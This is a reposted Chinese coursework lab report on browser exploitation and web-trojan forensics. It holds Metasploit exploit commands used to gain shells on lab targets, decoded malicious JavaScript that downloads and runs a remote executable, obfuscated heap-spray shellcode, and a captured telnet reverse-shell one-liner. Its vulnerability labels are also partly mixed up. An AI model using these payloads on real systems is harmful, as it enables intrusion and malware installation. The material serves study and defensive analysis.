20232906 2023-2024-2 《网络与系统攻防技术》第十一次作业

20232906 2023-2024-2 《网络与系统攻防技术》第十一次作业

1.实验内容

一、web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

二、取证分析实践—网页木马攻击场景分析
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到
http://192.168.68.253/scom/hashed/
哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。

三、攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

2.实验过程

2.1 web浏览器渗透攻击

  1. 简介:Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。

  2. 这里我们使用Kali作为攻击机,如图一所示,Kali的IP地址为192.168.200.6。


    图一 Kali的IP地址
  3. 使用Win2kServer作为靶机,如图二所示,靶机IP为192.168.200.131。


    图二 Win2kServer的IP地址
  4. 这里我们使用命令msfconsole打开Metasploit,并等待它加载完成。


    图三 打开Kali的Metasploit
  5. 然后我们使用 MS14-064 OLE远程代码执行漏洞,使用命令如下:

    use exploit/windows/browser/ie_createobject # 将CVE-2006-0003作为目标漏洞
    set payload windows/shell/bind_tcp   # 设置 Payload 为任意TCP连接
    set URIPATH /			# 设置 URLPATH 为根路径
    exploit					# 进行攻击
    

    CVE-2006-0003:RDS 中存在不明漏洞。数据空间 ActiveX 控件包含在 ActiveX 数据对象 (ADO) 中并分布在 Microsoft 数据访问组件 (MDAC) 2.7 和 2.8 中,允许远程攻击者通过未知攻击媒介执行任意代码。

    这一过程的截图如图四所示:


    图四 使用MS08-067漏洞利用模块
  6. 我们将生成的链接http://192.168.200.6:8080/复制到靶机中并在浏览器中打开该链接,如图五所示。


    图五 靶机中打开钓鱼链接
  7. 此时在msfconsole中敲一下回车,然后输入命令sessions -i 1即可发现成功获得靶机的shell,如图六所示。


    图六 成功获取靶机Shell

2.2 取证分析实践—网页木马攻击场景分析

  1. 首先我们打开start.html,并在其中搜索htm,搜索结果如图七所示,可以发现其中有一个iframe调用了new09.htm

    HTML 内联框架元素 (<iframe>) 表示嵌套的browsing context。它能够将另一个 HTML 页面嵌入到当前页面中。


    图七 start.html调用了new09.htm
  2. 我们进一步打开new09.htm,可以发现该网页又通过iframe调用了网页http://aa.18dd.net/aa/kl.htm并调用了一个js文件http://js.users.51.la/1299644.js,如图八所示。


    图八 start.html调用了new09.htm
  3. 我们在cygwin终端中使用md5sum工具计算两个链接的md5值,命令为:

    echo -n http://aa.18dd.net/aa/kl.htm|md5sum	# -n:不打印换行符,保证md5结果正确
    # 结果为7f60672dcd6b5e90b6772545ee219bd3
    echo -n http://js.users.51.la/1299644.js|md5sum # -n:不打印换行符,保证md5结果正确
    # 结果为23180a42a2ff1192150231b44ffdf3d3
    

    计算结果如图九所示。


    图九 计算md5值
  4. 我们在hashed文件夹中寻找,确实存在这两个文件,如图十所示。


    图十 找到了两个文件
  5. 为了方便,我们直接使用original中的kl.htm1299644.js进行分析。首先,js文件中只有一段注释,内容为\\本文件内容是流量统计代码,不是木马,如图十一所示。


    图十一 js文件中只有一段注释
  6. kl.htm中,我们可以发现一个t变量以及其对应的解密方法,如图十二所示,对t变量,首先使用base64解码,然后再用xxtea解密(密钥为\x73\x63\x72\x69\x70\x74,转为字符串为script),最后再将16进制转换成字符串即可。


    图十二 t变量及其解密方式
  7. 我们按照步骤6中分析的流程进行解密,结果如图十三所示:


    图十三 解密t变量
  1. 步骤7得到如下代码,其中涉及了“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞,还引用了三个js文件http://aa.18dd.net/aa/1.jshttp://aa.18dd.net/aa/b.jshttp://aa.18dd.net/aa/pps.js和一个Windows压缩包文件http://down.18dd.net/bb/bd.cab,解压后文件名为bd.exe

    <script>eval("function init(){document.write();}window.onload = init;if (document.cookie.indexOf('OK') == -1) {try {var e;var ado = (document.createElement("object"));ado.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var as = ado.createobject("Adodb.Stream", "")} catch (e) {};finally {var expires = new Date();expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);document.cookie = 'ce=windowsxp;path=/;expires=' + expires.toGMTString();if (e != "[object Error]") {document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")} else {try {var f;var storm = new ActiveXObject("MPS.StormPlayer");} catch (f) {};finally {if (f != "[object Error]") {document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}try {var g;var pps = new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");} catch (g) {};finally {if (g != "[object Error]") {document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}try {var h;var obj = new ActiveXObject("BaiduBar.Tool");} catch (h) {};finally {if (h != "[object Error]") {obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}}}}") 
    </script>
    
  2. 计算四个URL的哈希值如下:

    echo -n http://aa.18dd.net/aa/1.js|md5sum
    # 5d7e9058a857aa2abee820d5473c5fa4
    echo -n http://aa.18dd.net/aa/b.js|md5sum
    # 3870c28cc279d457746b3796a262f166
    echo -n http://aa.18dd.net/aa/pps.js|md5sum
    # 5f0b8bf0385314dbe0e5ec95e6abedc2
    echo -n http://down.18dd.net/bb/bd.cab|md5sum
    # 1c1d7b3539a617517c49eee4120783b2
    
  3. 找到对应文件进行进一步分析,首先是1.js,解码后可知,这个文件前面部分下载了一个 http://down.18dd.net/bb/014.exe 的可执行文件,后面部分继续利用 ADODB 漏洞执行命令cmd.exe .\\ntuser.com。。

    eval("\x76\x61\x72\x20\x75\x72\x6c\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x30\x31\x34\x2e\x65\x78\x65\x22\x3b\x74\x72\x79\x7b\x76\x61\x72\x20\x78\x6d\x6c\x3d\x61\x64\x6f\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50\x22\x2c\x22\x22\x29\x3b\x78\x6d\x6c\x2e\x4f\x70\x65\x6e\x0d\x0a\x0d\x0a\x28\x22\x47\x45\x54\x22\x2c\x75\x72\x6c\x2c\x30\x29\x3b\x78\x6d\x6c\x2e\x53\x65\x6e\x64\x28\x29\x3b\x61\x73\x2e\x74\x79\x70\x65\x3d\x31\x3b\x61\x73\x2e\x6f\x70\x65\x6e\x28\x29\x3b\x61\x73\x2e\x77\x72\x69\x74\x65\x28\x78\x6d\x6c\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b\x70\x61\x74\x68\x3d\x22\x2e\x2e\x5c\x5c\x6e\x74\x75\x73\x65\x72\x2e\x63\x6f\x6d\x22\x3b\x61\x73\x2e\x73\x61\x76\x65\x74\x6f\x66\x69\x6c\x65\x28\x70\x61\x74\x68\x2c\x32\x29\x3b\x61\x73\x2e\x63\x6c\x6f\x73\x65\x0d\x0a\x0d\x0a\x28\x29\x3b\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22\x2c\x22\x22\x29\x3b\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x22\x63\x6d\x64\x2e\x65\x78\x65\x22\x2c\x22\x2f\x63\x20\x22\x2b\x70\x61\x74\x68\x2c\x22\x22\x2c\x22\x6f\x70\x65\x6e\x22\x2c\x30\x29\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d")
    // 解码后
    var url = "http://down.18dd.net/bb/014.exe";
    try {var xml = ado.CreateObject("Microsoft.XMLHTTP", "");xml.Open("GET", url, 0);xml.Send();as.type = 1;as.open();as.write(xml.responseBody);path = "..\\ntuser.com";as.savetofile(path, 2);as.close();var shell = ado.createobject("Shell.Application", "");shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0)
    } catch (e) {}
    
  4. 然后分析b.js文件,该文件进行了js压缩,首先解压缩得到如下内容:

    eval(function(p, a, c, k, e, d) {e = function(c) {return c};if (!''.replace(/^/, String)) {while (c--) {d[c] = k[c] || c}k = [function(e) {return d[e]}];e = function() {return '\\w+'};c = 1};while (c--) {if (k[c]) {p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])}}return p
    }
    ('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8=\'\';13(8.6<145)8+="\\9\\9\\9\\9";163.80(8)', 10, 196, '|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'), 0, {}))
    

2.3 攻防对抗实践—web浏览器渗透攻击攻防

IP地址\成员20232906陈瀚文20232925操昕
攻击机192.168.1.230192.168.1.53
靶机192.168.1.130192.168.1.131
  1. 攻击方
    这里我使用了PHP-CGI Query String Parameter Injection Arbitrary Code Execution漏洞进行攻击,使用攻击命令如下:

    use exploit/multi/http/php_cgi_arg_injection
    set RHOST 192.168.1.131	# 设置靶机IP
    exploit
    

    CVE-2012-1823:用户请求的querystring被作为了php-cgi的参数执行了,命令行参数不仅可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,还可以通过querystring的方式传入。

    具体运行过程如图六所示:


    图六 攻击方运行CVE-2012-1823

    之后输入命令shell,即可拿到靶机的Shell,如图七所示,但需要进一步提权才能够拿到root权限。


    图七 成功获取靶机Shell
  2. 防守方
    这里对方使用了Metasploit溢出UnrealIRCd后门漏洞进行攻击,抓包结果如图二十所示,攻击者首先向靶机80端口发送攻击载荷,如图八所示,攻击机向靶机发送命令,这一过程执行了休眠进程3964以及通过telnet远程连接攻击机:

    sleep 3964|telnet 192.168.1.53 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.53 4444 >/dev/null 2>&1 &
    

    溢出UnrealIRCd后门:某些站点的UnrealIRCd,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者通过这个漏洞执行任意代码。


    图八 攻击机攻击载荷
    然后通过载荷利用漏洞成功反弹了Shell,如图九所示。

    图九 攻击机通过反弹Shell执行命令

3.问题及解决方案

  • 问题1:在使用Metasploitable2-Linux,攻击机无法Ping通靶机IP。
  • 问题1解决方案:将Metasploitable2-Linux接入桥接网卡,然后通过命令sudo /etc/rc.local,修改其中包含ipconfig的命令使得IP地址符合桥接网络的IP范围并使网关为桥接网络的网关。

4.学习感悟、思考等

本次实验延续上次实验继续进行了Metasploit的相关实践,通过动手的方式我弄懂了Metasploit对Linux系统的攻击方法。在本次实验中,经过在网上寻找相关资料,我成功地完成了相关的实验内容,总的来说本次实验难度不大,工作量也相对较小,值得注意的是,无论是Linux还是上次实验中的Windows靶机,其都含有许多因未更新软件遗留的漏洞,这也提醒我们应当时刻更新软件至最新版本以尽量减少已知漏洞的存在。对于0-day漏洞,我们可以通过安全软件进行动态检测,检测的对象可以是文件操作记录,网络日志等多种数据源。
感谢王老师的细心讲解和耐心帮助,也感谢在实验过程中给我帮助的同学们。正因为有你们的帮助我才能够顺利地完成本次实验,谢谢!

参考资料

  • Metasploit - 百度百科
  • 【漏洞验证】Metasploitable2靶机漏洞复现 - ps_x
  • HP-CGI远程代码执行漏洞CVE-2012-1823复现 - 从不专注的人
  • Metasploit溢出UnrealIRCd后门漏洞 - weixin_34185320

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/17143.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

07_Servlet

Servlet 一 Servlet简介 1.1 动态资源和静态资源 静态资源 无需在程序运行时通过代码运行生成的资源,在程序运行之前就写好的资源. 例如:html css js img ,音频文件和视频文件 动态资源 需要在程序运行时通过代码运行生成的资源,在程序运行之前无法确定的数据,运行时动态生成…

转行一年了

关注、星标公众号&#xff0c;直达精彩内容 ID&#xff1a;技术让梦想更伟大 整理&#xff1a;李肖遥 来公司一年了。 说是转行其实还是在半导体行业&#xff0c;熟悉我的朋友知道 &#xff0c;我在18年开始进入半导体行业&#xff0c;那个时候想着行业很重要&#xff0c;站对了…

【前端三剑客之JS】详解JS

1. JS的引入方式 (1). 内部脚本方式引入 在页面上&#xff0c;通过一对script标签引入js代码.script代码放置位置有一定随意性&#xff0c;一般放在head标签中. (2).外部脚本方式引入. 内部脚本只能在当前页面中使用&#xff0c;代码复用度不高.可以将脚本放在单独的js文件…

HG/T 6088-2022 透水道路用涂料检测

透水混凝土是指由水泥、矿物掺合料、骨料、外加剂及水等主要材料经拌合形成的&#xff0c;具有透水功能的混凝土材料&#xff0c;用于其表面的涂料称为透水道路用涂料。 HG/T 6088-2022透水道路用涂料检测项目&#xff1a; 测试指标 测试方法 有害物质限量 GB 38468 在容器…

io.net 是什么,DePIN(去中心化物理基础设施网络)

目录 io.net 是什么 io.net去中心化原理 DePIN(去中心化物理基础设施网络)

气泡水位计的安装方法详解(二)

气泡水位计的安装方法详解&#xff08;二&#xff09; 产品简介 气泡式水位计ZL-BWL-013是一款适用于水文、水利信息化建设领域的新一代水位测量类设备&#xff0c;产品执行GB/T 11828.2-2022标准。ZL-BWL-013气泡水位计&#xff0c;具有安装方便、易于操作&#xff0c;高精度…

算法刷题day54:搜索(一)

目录 引言一、池塘计数二、城堡问题三、山峰和山谷四、迷宫问题五、武士风度的牛六、抓住那头牛七、矩阵距离八、魔板 引言 针对于蓝桥杯&#xff0c;搜索问题还是非常之重要的&#xff0c;在省赛前深知暴搜的重要性&#xff0c;所以提前先把提高课的搜索一章给看了&#xff0…

odoo10 编写图片上传接口(获取外部访问链接)

首先你需要一个模型 class Vehicle(models.Model):_name vehicleimage fields.Binary(string"图片", attachmentTrue)编写图片访问接口 http.route(/vehicle/image/<int:vehicle_id>, typehttp, authpublic)def vehicle_image(self, vehicle_id, **kwargs)…

分布式锁的原理和实现(Go)

文章目录 为什么需要分布式锁&#xff1f;go语言分布式锁的实现Redis自己的实现红锁是什么别人的带红锁的实现 etcdzk的实现 为什么需要分布式锁&#xff1f; 保证分布式系统并发请求或不同服务实例操作共享资源的安全性&#xff0c;通过一种协调机制来保证在同一时刻只有一个…

设计模式17——模板方法模式

写文章的初心主要是用来帮助自己快速的回忆这个模式该怎么用&#xff0c;主要是下面的UML图可以起到大作用&#xff0c;在你学习过一遍以后可能会遗忘&#xff0c;忘记了不要紧&#xff0c;只要看一眼UML图就能想起来了。同时也请大家多多指教。 模板方法模式&#xff08;Temp…

阿里云Linux 3.2104 LTS 64位安装SVN服务器

直接按步骤 yum install subversion 写y就行 主要是看看安装了那些文件 rpm -ql subversion 主要是为了创建版本库而准备&#xff0c;这个能一遍创建就一遍创建&#xff0c;不行就逐个创建。能创就忽略下面两个mkdir步骤。 mkdir /home/svn/groupRepos 根据新建目录作为版本…

LeetCode第131场双周赛C++题解

3158.求出出现两次数字的XOR值 给你一个数组 nums &#xff0c;数组中的数字 要么 出现一次&#xff0c;要么 出现两次。 请你返回数组中所有出现两次数字的按位 XOR 值&#xff0c;如果没有数字出现过两次&#xff0c;返回 0 。 示例 1&#xff1a; 输入&#xff1a;nums …

程序中的网络地址等敏感信息,从网络安全的角度,应该怎么配置

从网络安全的角度来看&#xff0c;配置IP信息需要谨慎处理&#xff0c;以防止敏感信息泄露和系统受到攻击。以下是一些建议和最佳实践&#xff1a; 1. 使用环境变量或配置管理工具 环境变量 将IP地址等敏感信息存储在环境变量中&#xff0c;而不是硬编码在代码里。这有助于确…

业务实战————Uibot6.0 .1多页面商品信息抓取RPA机器人

前言 【案例描述】 鲜果记水果店计划在淘宝电商平台上开设一家新店&#xff0c;小微是该企业运营部分的运营专员&#xff0c;主要负责公司商品上架和管理的工作。 公司计划在开店的新品促销活动中增加水果品类红富士苹果。小微需在商品上架前了解目前平台中销量前列的红富士苹…

C#面:死锁的必要条件是什么?怎么克服?

C#中的死锁是指两个或多个线程互相等待对方释放资源&#xff0c;导致程序无法继续执行的情况。 死锁的必要条件&#xff1a; 互斥条件&#xff1a;至少有一个资源被设置为只能被一个线程占用。请求与保持条件&#xff1a;一个线程在持有资源的同时又请求其他线程占有的资源。…

SpringBootTest测试框架一

为了方便开发,对数据进行mock处理,形成文件,只修改文件内容达到mock指定数据的目的 1、定义测试模式 @Retention(RetentionPolicy.RUNTIME) @Target({ElementType.METHOD}) public @interface TestModel {TestModelEnum value() default TestModelEnum.LOCAL_PRIOR;String…

数字水印 | 离散余弦变换 DCT 基本原理及 Python 代码实现

目录 1 基本原理2 代码实现3 图像压缩 1 基本原理 参考博客&#xff1a;https://www.cnblogs.com/zxporz/p/16072580.html D C T \mathsf{DCT} DCT 全称为 D i s c r e t e C o s i n e T r a n s f o r m \mathsf{Discrete\ Cosine\ Transform} Discrete Cosine Transfo…

新购入的读码器该如何测试呢?

物联网技术的飞速发展&#xff0c;条码二维码作为一种高效、便捷的数据传输方式&#xff0c;已经广泛应用于仓储、物流配送、零售与结算、MES系统等生活和工业领域。新购的条码二维码读码器&#xff0c;在使用前要了解它的使用方法和性能&#xff0c;以确保其性能稳定、读取准确…

小预算大效果:揭秘品牌如何用创新方法实现低成本传播

说到品牌&#xff0c;我们都知道&#xff0c;没钱是真的难搞。 品牌建设就像跑马拉松&#xff0c;得慢慢来&#xff0c;持续投入&#xff0c;一点一滴积累声誉&#xff0c;这样才能培养出忠实的粉丝团。 但别急&#xff0c;就算资金紧张&#xff0c;我们也有办法让品牌慢慢站…

基于飞书机器人跨账号消息提醒

事情的起因是飞书中不同的账号不能同时登录&#xff0c;虽然可以在飞书的账号切换页面看到其他账号下是否有消息提醒&#xff08;小红点&#xff09;&#xff0c;但是无法实现提醒功能&#xff0c;很不优雅&#xff0c;因此本文尝试提出一种新的方式实现不同账号之间的提醒功能…